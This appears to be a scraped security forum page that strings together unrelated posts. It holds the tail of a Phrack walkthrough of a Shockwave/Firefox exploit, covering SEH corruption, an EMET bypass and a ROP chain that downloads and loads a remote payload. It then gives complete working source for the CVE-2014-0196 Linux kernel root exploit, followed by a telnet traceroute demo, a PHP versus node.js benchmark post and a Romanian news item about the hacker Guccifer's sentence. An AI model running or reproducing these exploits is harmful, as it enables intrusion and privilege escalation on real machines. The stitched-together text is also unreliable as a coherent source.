ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 IML32!Ordinal1115+0xa: 71439d0a 81780454534146 cmp dword ptr [eax+4],46415354h ds:002b:3773423a=?? 1:032> !exchain 0061ef40: Shockwave_3d_Asset!CIFXString::SetCodePage+49122 (70f2e522) 0061ef50: 41414141 0061f0fc: xul!std::_Mutex::_Mutex+56d (73920859) 0061f858: plugin_container+18f9 (010b18f9) 0061f8a8: ntdll!_except_handler4+0 (77ec35f2) 0061f8c8: ntdll!FinalExceptionHandler+0 (77eb1d86) Invalid exception stack at ffffffff Note that now the SEH chain consists of: 0061ef40->0061ef50->0061f0fc->0061f858->0061f8a8->0061f8c8->ffffffff What has occured is the first SEH record has been corrupted to point into the "Shockwave 3d Asset.x32" module (this is our stack pivot--more on this later) and it's *next pointer has been modified to point to a new address on the stack (calculated using the stack memory disclosure). The second record shown above is a fake one that my exploit crafts to re-link the chain. Its *next pointer has been crafted to point to 0061f0fc which is a valid SEH record that existed prior to the corruption. Note that its code pointer was simply set to 0x41414141, which is weakly validated by ntdll's exception dispatcher to ensure it is not located on the stack. At this stage, the SEH chain will pass SEHOP validation and the first record's code will be called. This can be verified in the debugger: 1:032> bp Shockwave_3d_Asset!CIFXString::SetCodePage+49122 1:032> g Breakpoint 1 hit eax=00000000 ebx=00000000 ecx=70f2e522 edx=77e23105 esi=00000000 edi=00000000 eip=70f2e522 esp=0061ba5c ebp=0061ba7c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 Shockwave_3d_Asset!CIFXString::SetCodePage+0x49122: 70f2e522 8b4d0c mov ecx,dword ptr [ebp+0Ch] ss:002b:0061ba88=0061ef40 ------[ 5.5.1 - Relevant 'EMET 5.0 Tech Preview' Mitigations EMET 5.0 implements many mitigations that were submitted as 'defensive security research' to the Microsoft BlueHat Prize Contest (over $250,000 was awarded). The software is still in Tech Preview, but I was curious as to how difficult it would be to bypass. I was also a bit irked that my prior exploits required a WebDAV server. So, in this version of the exploit I decided to remove that requirement. This was accomplished by ROP-ing a call to LoadLibraryA whereby I loaded the urlmon.dll module. More specifically, I returned to LoadLibraryA+0x5 to skip over the EMET hook: 1:039> u KERNEL32!LoadLibraryA L2 KERNEL32!LoadLibraryA: 76ccf864 e92f0932f9 jmp 6fff0198 76ccf869 837d0800 cmp dword ptr [ebp+8],0 1:039> u 6fff0198 6fff0198 684bedeeeb push 0EBEEED4Bh 6fff019d 60 pushad 6fff019e 9c pushfd 6fff019f 54 push esp 6fff01a0 e80bd32a05 call emet+0x4d4b0 (7529d4b0) 6fff01a5 9d popfd 6fff01a6 61 popad 6fff01a7 83c404 add esp,4 By ensuring we land at LoadLibraryA+0x5 and we control @ebp, this EMET hook is trivially bypassed. Microsoft is aware of how limited this hook is, and they even cite Phrack in their blog post[20]. Once urlmon.dll was loaded, I had to deal with EMET's 'Caller' mitigation, which does the following: "EMET will make sure that when a critical function is reached, it is reached via a "call" instruction rather than a "ret" instruction. This is a very useful mitigation and breaks many ROP gadgets."[20] I also had to deal with the 'SimExecFlow' mitigation: "This mitigation tries to detect ROP gadgets following a call to a critical function. It works by emulating a specified number of instructions at the return address of the caller of a critical function."[20] Both of the above mitigations would interfere with my calling GetProcAddress to retrieve the address of URLDownloadToFileA. They were bypassed by returning into the middle of a module's existing call to GetProcAddress, thus EMET could not tell that it was ROP-ed to or that it was an illegitimate call: .text:7A25CD4A 00C push eax ; hModule .text:7A25CD4B 010 call ds:GetProcAddress .text:7A25CD51 008 mov [esi+18h], eax .text:7A25CD54 008 cmp eax, edi .text:7A25CD56 008 jnz short loc_7A25CD6D .text:7A25CD6D loc_7A25CD6D: .text:7A25CD6D .text:7A25CD6D 008 mov eax, edi .text:7A25CD6F 008 pop edi .text:7A25CD70 004 pop esi .text:7A25CD71 000 retn .text:7A25CD71 sub_7A25CD20 endp By returning directly to the code at 0x7A25CD4A, @eax already contained the result from LoadLibraryA("urlmon.dll\x00"), and because I could predict stack addresses using the memory leak it was easy enough to ensure there was a pointer to the string "URLDownloadToFileA\x00" for the call to GetProcAddress and also that @esi was pointing to a stack address under control. Thus, I was able to get the address of the function without a problem. Then, I called URLDownloadToFileA to drop the payload to a default writable local directory (C:\Users\Public) and then returned to LoadLibraryA and loaded the code. --[ 6 - Future Work I began developing support for process continuation/continuation of execution/whatever it's being called these days. It should be fairly easy to ensure the plugin-container.exe doesn't crash hard, but would require reversing the interaction between this process and the firefox.exe parent. --[ 7 - Conclusion This article wasn't intended to share anything novel... any competent exploit writer could have implemented the attached exploit. I just wanted to share a walkthrough from bug discovery to reliable exploit so that readers can get a feel for what the process is like these days. --[ 8 - Greets Thanks to navs, sohlow, raid, & hoodlum for their insight and valuable discussions. --[ 9 - References [1] [url]http://community.corest.com/~gera/InsecureProgramming[/url] [2] [url]http://virus.wikia.com/wiki/29A[/url] [3] [url]http://www.uninformed.org[/url] [4] [url]http://helpx.adobe.com/shockwave/kb/shockwave-player-faq.html[/url] [5] [url]http://www.adobe.com/products/shockwaveplayer.html[/url] [6] [url]https://wiki.mozilla.org/NPAPI[/url] [7] [url]http://www.adobe.com/products/director.html[/url] [8] [url]http://cansecwest.com/csw11/Adobe_Shockwave-AaronPortnoy_LoganBrown.pptx[/url] [9] [url]http://www.microquill.com/smartheap/index.html[/url] [10] [url]http://www.j4u2.com/jht/bio.html[/url] [11] [url]http://helpx.adobe.com/director/topics/scripting-dictionary.html[/url] [12] [url]http://msdn.microsoft.com/en-us/library/8dbf701c(v=vs.80).aspx[/url] [13] [url]http://uninformed.org/index.cgi?v=7&a=2&p=5[/url] [14] [url]http://webpy.org/[/url] [15] [url]http://www.lighttpd.net/[/url] [16] [url]https://code.google.com/p/narly/[/url] [17] [url]http://blogs.technet.com/b/srd/archive/2009/02/02/preventing-the-[/url] exploitation-of-seh-overwrites-with-sehop.aspx [18] [url]http://media.blackhat.com/bh-us-12/Briefings/M_Miller/BH_US_12_Miller[/url] _Exploit_Mitigation_Slides.pdf [19] [url]http://blogs.technet.com/b/srd/archive/2010/07/28/announcing-the-[/url] upcoming-release-of-emet-v2.aspx [20] [url]http://blogs.technet.com/b/srd/archive/2012/07/24/emet-3-5-tech-preview-[/url] leverages-security-mitigations-from-the-bluehat-prize.aspx Sursa: http://phrack.org/papers/shockwave_memory_disclosure.html

CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race /* * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race * condition * * Slightly-less-than-POC privilege escalation exploit * For kernels >= v3.14-rc1 * * Matthew Daley <mattd@bugfuzz.com> * * Usage: * $ gcc cve-2014-0196-md.c -lutil -lpthread * $ ./a.out * [+] Resolving symbols * [+] Resolved commit_creds: 0xffffffff81056694 * [+] Resolved prepare_kernel_cred: 0xffffffff810568a7 * [+] Doing once-off allocations * [+] Attempting to overflow into a tty_struct............... * [+] Got it * # id * uid=0(root) gid=0(root) groups=0(root) * * WARNING: The overflow placement is still less-than-ideal; there is a 1/4 * chance that the overflow will go off the end of a slab. This does not * necessarily lead to an immediate kernel crash, but you should be prepared * for the worst (i.e. kernel oopsing in a bad state). In theory this would be * avoidable by reading /proc/slabinfo on systems where it is still available * to unprivileged users. * * Caveat: The vulnerability should be exploitable all the way from * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer * GFP_ATOMIC memory consumption") that make exploitation simpler, which this * exploit relies on. * * Thanks to Jon Oberheide for his help on exploitation technique. */ #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <pthread.h> #include <pty.h> #include <stdio.h> #include <string.h> #include <termios.h> #include <unistd.h> #define TTY_MAGIC 0x5401 #define ONEOFF_ALLOCS 200 #define RUN_ALLOCS 30 struct device; struct tty_driver; struct tty_operations; typedef struct { int counter; } atomic_t; struct kref { atomic_t refcount; }; struct tty_struct_header { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; } overwrite; typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred); int master_fd, slave_fd; char buf[1024] = {0}; commit_creds_fn commit_creds; prepare_kernel_cred_fn prepare_kernel_cred; int payload(void) { commit_creds(prepare_kernel_cred(0)); return 0; } unsigned long get_symbol(char *target_name) { FILE *f; unsigned long addr; char dummy; char name[256]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) return 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name); if (ret == 0) { fscanf(f, "%s\n", name); continue; } if (!strcmp(name, target_name)) { printf("[+] Resolved %s: %p\n", target_name, (void *)addr); fclose(f); return addr; } } printf("[-] Couldn't resolve \"%s\"\n", name); fclose(f); return 0; } void *overwrite_thread_fn(void *p) { write(slave_fd, buf, 511); write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1)); write(slave_fd, &overwrite, sizeof(overwrite)); } int main() { char scratch[1024] = {0}; void *tty_operations[64]; int i, temp_fd_1, temp_fd_2; for (i = 0; i < 64; ++i) tty_operations[i] = payload; overwrite.magic = TTY_MAGIC; overwrite.kref.refcount.counter = 0x1337; overwrite.dev = (struct device *)scratch; overwrite.driver = (struct tty_driver *)scratch; overwrite.ops = (struct tty_operations *)tty_operations; puts("[+] Resolving symbols"); commit_creds = (commit_creds_fn)get_symbol("commit_creds"); prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred"); if (!commit_creds || !prepare_kernel_cred) return 1; puts("[+] Doing once-off allocations"); for (i = 0; i < ONEOFF_ALLOCS; ++i) if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) { puts("[-] pty creation failed"); return 1; } printf("[+] Attempting to overflow into a tty_struct..."); fflush(stdout); for (i = 0; ; ++i) { struct termios t; int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j; pthread_t overwrite_thread; if (!(i & 0xfff)) { putchar('.'); fflush(stdout); } if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) { puts("\n[-] pty creation failed"); return 1; } for (j = 0; j < RUN_ALLOCS; ++j) if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) { puts("\n[-] pty creation failed"); return 1; } close(fds[RUN_ALLOCS / 2]); close(fds2[RUN_ALLOCS / 2]); write(slave_fd, buf, 1); tcgetattr(master_fd, &t); t.c_oflag &= ~OPOST; t.c_lflag |= ECHO; tcsetattr(master_fd, TCSANOW, &t); if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) { puts("\n[-] Overwrite thread creation failed"); return 1; } write(master_fd, "A", 1); pthread_join(overwrite_thread, NULL); for (j = 0; j < RUN_ALLOCS; ++j) { if (j == RUN_ALLOCS / 2) continue; ioctl(fds[j], 0xdeadbeef); ioctl(fds2[j], 0xdeadbeef); close(fds[j]); close(fds2[j]); } ioctl(master_fd, 0xdeadbeef); ioctl(slave_fd, 0xdeadbeef); close(master_fd); close(slave_fd); if (!setresuid(0, 0, 0)) { setresgid(0, 0, 0); puts("\n[+] Got it :)"); execl("/bin/bash", "/bin/bash", NULL); } } } Sursa: http://www.exploit-db.com/exploits/33516/

Da, simplu si eficient.

Mai simplu: telnet route_server traceroute ipaddress nytro@pwn:~$ telnet route-server.gblx.net Trying 67.17.81.28... Connected to loop0.route-server.phx1.gblx.net. Escape character is '^]'. C ******************************* WARNING ******************************* This equipment is the property of Level 3 Communications. Unauthorized access is strictly prohibited. Any unauthorized access or tampering with this equipment will result in civil and/or criminal prosecution. ******************************* WARNING ******************************* route-server.phx1>traceroute 8.8.8.8 Type escape sequence to abort. Tracing the route to google-public-dns-a.google.com (8.8.8.8) 1 ge4-12-1000M.ar6.PHX1.gblx.net (67.16.148.37) 0 msec 0 msec 0 msec 2 72.14.196.50 12 msec 8 msec 8 msec 3 216.239.46.40 [AS 15169] 12 msec 64.233.174.238 [AS 15169] 8 msec 216.239.46.40 [AS 15169] 8 msec 4 64.233.175.150 [AS 15169] [MPLS: Label 338423 Exp 4] 56 msec 72.14.238.2 [AS 15169] [MPLS: Label 671714 Exp 4] 36 msec 40 msec 5 72.14.239.159 [AS 15169] [MPLS: Label 452774 Exp 4] 36 msec 72.14.239.155 [AS 15169] [MPLS: Label 522286 Exp 4] 40 msec 72.14.239.160 [AS 15169] [MPLS: Label 518798 Exp 4] 36 msec 6 64.233.174.131 [AS 15169] 40 msec 216.239.48.167 [AS 15169] 36 msec 64.233.174.129 [AS 15169] 40 msec 7 * * * 8 google-public-dns-a.google.com (8.8.8.8) [AS 15169] 36 msec 40 msec 36 msec route-server.phx1>quit Connection closed by foreign host.

PHP vs node.js: The REAL statistics 10 June, 2014 Prahlad Yeri When it comes to web programming, I’ve always coded in ASP.NET or the LAMP technologies for most part of my life. Now, the new buzz in the city is node.js. It is a light-weight platform that runs javascript code on server-side and is said to improvise performance by using async I/O. The theory suggests that synchronous or blocking model of I/O works something like this: I/O is typically the costliest part of a web transaction. When a request arrives to the apache web server, it passes it to PHP interpreter for scripting any dynamic contents. Now comes the tricky part – If the PHP script wants to read something from the disk/database or write to it, that is the slowest link in the chain. When you call PHP function file_get_contents(), the entire thread is blocked until the contents are retrieved! The server can’t do anything until your script gets the file contents. Consider what happens when multiples of simultaneous requests are issued by different users to your server? They get queued, because no thread is available to do the job since they are all blocked in I/O! Here comes the unique selling-point of node.js. Since node.js implements async I/O in almost all its functions, the server thread in the above scenario is freed as soon as the file retrieval function (fs.readFile) is called. Then, once the I/O completes, node calls a function (passed earlier by fs.readFile) along with the data parameters. In the meantime, that valuable thread can be used for serving some other request. So thats the theory about it anyway. But I’m not someone who just accepts any new fad in the town just because it is hype and everyone uses it. Nope, I want to get under the covers and verify it for myself. I wanted to see whether this theory holds in actual practice or not. So I brought upon myself the job of writing two simple scripts for benchmarking this – one in PHP (hosted on apache2) and other in javascript (hosted on node.js). The test itself was very simple. The script would: 1. Accept the request. 2. Generate a random string of 108 kilobytes. 3. Write the string to a file on the disk. 4. Read the contents back from disk. 5. Return the string back on the response stream. This is the first script, index.php: [COLOR=#000000][B]<?php[/B][/COLOR] [COLOR=#666666][I]//index.php[/I][/COLOR] [COLOR=#000088]$s[/COLOR][COLOR=#339933]=[/COLOR][COLOR=#0000ff]""[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#666666][I]//generate a random string of 108KB and a random filename[/I][/COLOR] [COLOR=#000088]$fname[/COLOR] [COLOR=#339933]=[/COLOR] [COLOR=#990000]chr[/COLOR][COLOR=#009900]([/COLOR][COLOR=#990000]rand[/COLOR][COLOR=#009900]([/COLOR][COLOR=#cc66cc]0[/COLOR][COLOR=#339933],[/COLOR][COLOR=#cc66cc]57[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]+[/COLOR][COLOR=#cc66cc]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933].[/COLOR][COLOR=#990000]chr[/COLOR][COLOR=#009900]([/COLOR][COLOR=#990000]rand[/COLOR][COLOR=#009900]([/COLOR][COLOR=#cc66cc]0[/COLOR][COLOR=#339933],[/COLOR][COLOR=#cc66cc]57[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]+[/COLOR][COLOR=#cc66cc]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933].[/COLOR][COLOR=#990000]chr[/COLOR][COLOR=#009900]([/COLOR][COLOR=#990000]rand[/COLOR][COLOR=#009900]([/COLOR][COLOR=#cc66cc]0[/COLOR][COLOR=#339933],[/COLOR][COLOR=#cc66cc]57[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]+[/COLOR][COLOR=#cc66cc]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933].[/COLOR][COLOR=#990000]chr[/COLOR][COLOR=#009900]([/COLOR][COLOR=#990000]rand[/COLOR][COLOR=#009900]([/COLOR][COLOR=#cc66cc]0[/COLOR][COLOR=#339933],[/COLOR][COLOR=#cc66cc]57[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]+[/COLOR][COLOR=#cc66cc]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933].[/COLOR][COLOR=#0000ff]'.txt'[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#b1b100]for[/COLOR][COLOR=#009900]([/COLOR][COLOR=#000088]$i[/COLOR][COLOR=#339933]=[/COLOR][COLOR=#cc66cc]0[/COLOR][COLOR=#339933];[/COLOR][COLOR=#000088]$i[/COLOR][COLOR=#339933]<[/COLOR][COLOR=#cc66cc]108000[/COLOR][COLOR=#339933];[/COLOR][COLOR=#000088]$i[/COLOR][COLOR=#339933]++[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#009900]{[/COLOR] [COLOR=#000088]$n[/COLOR][COLOR=#339933]=[/COLOR][COLOR=#990000]rand[/COLOR][COLOR=#009900]([/COLOR][COLOR=#cc66cc]0[/COLOR][COLOR=#339933],[/COLOR][COLOR=#cc66cc]57[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]+[/COLOR][COLOR=#cc66cc]65[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#000088]$s[/COLOR] [COLOR=#339933]=[/COLOR] [COLOR=#000088]$s[/COLOR][COLOR=#339933].[/COLOR][COLOR=#990000]chr[/COLOR][COLOR=#009900]([/COLOR][COLOR=#000088]$n[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#009900]}[/COLOR] [COLOR=#666666][I]//write s to a file[/I][/COLOR] [COLOR=#990000]file_put_contents[/COLOR][COLOR=#009900]([/COLOR][COLOR=#000088]$fname[/COLOR][COLOR=#339933],[/COLOR][COLOR=#000088]$s[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#000088]$result[/COLOR] [COLOR=#339933]=[/COLOR] [COLOR=#990000]file_get_contents[/COLOR][COLOR=#009900]([/COLOR][COLOR=#000088]$fname[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#b1b100]echo[/COLOR] [COLOR=#000088]$result[/COLOR][COLOR=#339933];[/COLOR] And here is the second script, server.js: [COLOR=#006600][I]//server.js[/I][/COLOR] [COLOR=#000066][B]var[/B][/COLOR] http [COLOR=#339933]=[/COLOR] require[COLOR=#009900]([/COLOR][COLOR=#3366CC]'http'[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#000066][B]var[/B][/COLOR] server [COLOR=#339933]=[/COLOR] http.[COLOR=#660066]createServer[/COLOR][COLOR=#009900]([/COLOR]handler[COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#000066][B]function[/B][/COLOR] handler[COLOR=#009900]([/COLOR]request[COLOR=#339933],[/COLOR] response[COLOR=#009900])[/COLOR] [COLOR=#009900]{[/COLOR] [COLOR=#006600][I]//console.log('request received!');[/I][/COLOR] response.[COLOR=#660066]writeHead[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]200[/COLOR][COLOR=#339933],[/COLOR] [COLOR=#009900]{[/COLOR][COLOR=#3366CC]'Content-Type'[/COLOR][COLOR=#339933]:[/COLOR] [COLOR=#3366CC]'text/plain'[/COLOR][COLOR=#009900]}[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] s[COLOR=#339933]=[/COLOR][COLOR=#3366CC]""[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#006600][I]//generate a random string of 108KB and a random filename[/I][/COLOR] fname [COLOR=#339933]=[/COLOR] String.[COLOR=#660066]fromCharCode[/COLOR][COLOR=#009900]([/COLOR]Math.[COLOR=#660066]floor[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]65[/COLOR] [COLOR=#339933]+[/COLOR] [COLOR=#009900]([/COLOR]Math.[COLOR=#660066]random[/COLOR][COLOR=#009900]([/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]*[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]122[/COLOR][COLOR=#339933]-[/COLOR][COLOR=#CC0000]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#339933]+[/COLOR] String.[COLOR=#660066]fromCharCode[/COLOR][COLOR=#009900]([/COLOR]Math.[COLOR=#660066]floor[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]65[/COLOR] [COLOR=#339933]+[/COLOR] [COLOR=#009900]([/COLOR]Math.[COLOR=#660066]random[/COLOR][COLOR=#009900]([/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]*[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]122[/COLOR][COLOR=#339933]-[/COLOR][COLOR=#CC0000]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#339933]+[/COLOR] String.[COLOR=#660066]fromCharCode[/COLOR][COLOR=#009900]([/COLOR]Math.[COLOR=#660066]floor[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]65[/COLOR] [COLOR=#339933]+[/COLOR] [COLOR=#009900]([/COLOR]Math.[COLOR=#660066]random[/COLOR][COLOR=#009900]([/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]*[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]122[/COLOR][COLOR=#339933]-[/COLOR][COLOR=#CC0000]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#339933]+[/COLOR] String.[COLOR=#660066]fromCharCode[/COLOR][COLOR=#009900]([/COLOR]Math.[COLOR=#660066]floor[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]65[/COLOR] [COLOR=#339933]+[/COLOR] [COLOR=#009900]([/COLOR]Math.[COLOR=#660066]random[/COLOR][COLOR=#009900]([/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]*[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]122[/COLOR][COLOR=#339933]-[/COLOR][COLOR=#CC0000]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#339933]+[/COLOR] [COLOR=#3366CC]".txt"[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#000066][B]for[/B][/COLOR][COLOR=#009900]([/COLOR]i[COLOR=#339933]=[/COLOR][COLOR=#CC0000]0[/COLOR][COLOR=#339933];[/COLOR]i[COLOR=#339933]<[/COLOR][COLOR=#CC0000]108000[/COLOR][COLOR=#339933];[/COLOR]i[COLOR=#339933]++[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#009900]{[/COLOR] n[COLOR=#339933]=[/COLOR]Math.[COLOR=#660066]floor[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]65[/COLOR] [COLOR=#339933]+[/COLOR] [COLOR=#009900]([/COLOR]Math.[COLOR=#660066]random[/COLOR][COLOR=#009900]([/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]*[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]122[/COLOR][COLOR=#339933]-[/COLOR][COLOR=#CC0000]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] s[COLOR=#339933]+=[/COLOR]String.[COLOR=#660066]fromCharCode[/COLOR][COLOR=#009900]([/COLOR]n[COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#009900]}[/COLOR] [COLOR=#006600][I]//write s to a file[/I][/COLOR] [COLOR=#000066][B]var[/B][/COLOR] fs [COLOR=#339933]=[/COLOR] require[COLOR=#009900]([/COLOR][COLOR=#3366CC]'fs'[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] fs.[COLOR=#660066]writeFile[/COLOR][COLOR=#009900]([/COLOR]fname[COLOR=#339933],[/COLOR] s[COLOR=#339933],[/COLOR] [COLOR=#000066][B]function[/B][/COLOR][COLOR=#009900]([/COLOR]err[COLOR=#339933],[/COLOR] fd[COLOR=#009900])[/COLOR] [COLOR=#009900]{[/COLOR] [COLOR=#000066][B]if[/B][/COLOR] [COLOR=#009900]([/COLOR]err[COLOR=#009900])[/COLOR] [COLOR=#000066][B]throw[/B][/COLOR] err[COLOR=#339933];[/COLOR] [COLOR=#006600][I]//console.log("The file was saved!");[/I][/COLOR] [COLOR=#006600][I]//read back from the file[/I][/COLOR] fs.[COLOR=#660066]readFile[/COLOR][COLOR=#009900]([/COLOR]fname[COLOR=#339933],[/COLOR] [COLOR=#000066][B]function[/B][/COLOR] [COLOR=#009900]([/COLOR]err[COLOR=#339933],[/COLOR] data[COLOR=#009900])[/COLOR] [COLOR=#009900]{[/COLOR] [COLOR=#000066][B]if[/B][/COLOR] [COLOR=#009900]([/COLOR]err[COLOR=#009900])[/COLOR] [COLOR=#000066][B]throw[/B][/COLOR] err[COLOR=#339933];[/COLOR] result [COLOR=#339933]=[/COLOR] data[COLOR=#339933];[/COLOR] response.[COLOR=#660066]end[/COLOR][COLOR=#009900]([/COLOR]result[COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#009900]}[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#009900]}[/COLOR] [COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#009900]}[/COLOR] server.[COLOR=#660066]listen[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]8124[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] console.[COLOR=#660066]log[/COLOR][COLOR=#009900]([/COLOR][COLOR=#3366CC]'Server running at [URL]http://127.0.0.1:8124/[/URL]'[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] And then, I ran the apache benchmarking tool on both of them with 2000 requests (200 concurrent). When I saw the time stats of the result, I was astounded: [TABLE] [TR] [TD=class: code]#PHP: Concurrency Level: 200 Time taken for tests: 574.796 seconds Complete requests: 2000 #node.js: Concurrency Level: 200 Time taken for tests: 41.887 seconds Complete requests: 2000[/TD] [/TR] [/TABLE] The truth is out. node.js was faster than PHP by more 14 times! These results are astonishing. It simply means that node.js IS going to be THE de-facto standard for writing performance driven apps in the upcoming future, there is no doubt about it! Agreed that the nodejs ecosystem isn’t that widely developed yet, and most node modules for things like db connectivity, network access, utilities, etc. are actively being developed. But still, after seeing these results, its a no-brainer. Any extra effort spent in developing node.js apps is more than worth it. PHP might be still having the “king of web” status, but with node.js in the town, I don’t see that status staying for very long! References https://en.wikipedia.org/wiki/Node.js The emperor’s new clothes were built with Node.js | Notes (beta) node.js Sursa: PHP vs node.js: The REAL statistics | Prahlad Yeri

Fara UP-uri. Warn pentru FIECARE up sau post inutil pe post de "up" il vad.

Hackerul Guccifer, condamnat la ?apte ani de închisoare cu executare de Otilia Ciocan Tribunalul Bucure?ti l-a condamnat vineri pe hackerul Marcel Laz?r Lehel, cunoscut sub numele de Guccifer, la ?apte ani de închisoare cu executare, pentru c? a spart conturile de e-mail ale directorului SRI George Maior, ale europarlamentarului Corina Cre?u ?i ale unor vedete. Marcel Laz?r Lehel a fost condamnat la câte trei ani de închisoare pentru spargerea conturilor de e-mail ale directorului SRI George Maior ?i ale europarlamentarului Corina Cre?u. Instan?a a dispus contopirea pedepselor ?i aplicarea unui spor de pedeaps? de un an, astfel încât hackerul Guccifer a fost condamnat la patru ani de închisoare cu executare în acest dosar. Totodat?, instan?a a constatat c? Marcel Laz?r Lehel a mai fost condamnat, în 8 februarie 2012, de Judec?toria Sectorului 3, la trei ani de închisoare cu suspendare, pentru spargerea conturilor de e-mail ale unor vedete. Astfel, instan?a a ad?ugat pedeapsa de trei ani la condamnarea din dosarul privind spargerea conturilor de e-mail a cu executare le lui George Maior ?i Corinei Cre?u, hackerul urmând s? execute o pedeaps? de ?apte ani de închisoare, dac? decizia r?mâne definitiv?. Tribunalul Bucure?ti a precizat c? decizia din 2012 a Judec?toriei Sectorului 3 este definitiv? întrucât nu a fost contestat?. De asemenea, instan?a i-a interzis lui Lehel mai multe drepturi, pe o durat? de trei ani dup? executarea pedepsei principale. Prin decizia de vineri, Tribunalul Bucure?ti a men?inut m?sura arest?rii preventive a lui Marcel Laz?r Lehel, acesta fiind încarcerat din 22 ianuarie. Instan?a a mai dispus confiscarea de la Lehel a unui laptop. Judec?torul a luat act c? George Cristian Maior ?i Corina Cre?u nu s-au constituit p?r?i civile. Decizia nu este definitiv?, aceasta putând fi contestat? la Curtea de Apel Bucure?ti. Hackerul Marcel Laz?r Lehel a recunoscut, la ultimul termen de judecat?, c? a spart conturile de e-mail ale directorului SRI, George Maior, ale europarlamentarului Corina Cre?u ?i ale unor vedete, el fiind judecat prin procedura simplificat?. "Am recunoscut ?i recunosc toate faptele de care sunt acuzat. Solicit judecarea cauzei pe baza probelor administrate pe parcursul urm?ririi penale. Regret faptele s?vâr?ite. (...) Pe parcursul acestui proces, procurorii DIICOT spuneau c? a? fi pericol la siguran?a na?ional?. A? spune c? este vorba despre trei conturi de e-mail particulare care au fost preluate de mine f?r? s? existe un prejudiciu material sau v?t?mare corporal?. Probabil, toat? lumea a avut într-o zi contul spart. Eu, personal, am avut cinci conturi sparte ?i nu m-am dus la DIICOT. Faptele nu sunt nici pe departe atât de grave. Sunt trei conturi personale, nicidecum de serviciu ", a spus Guccifer, în fa?a instan?ei, la termenul din 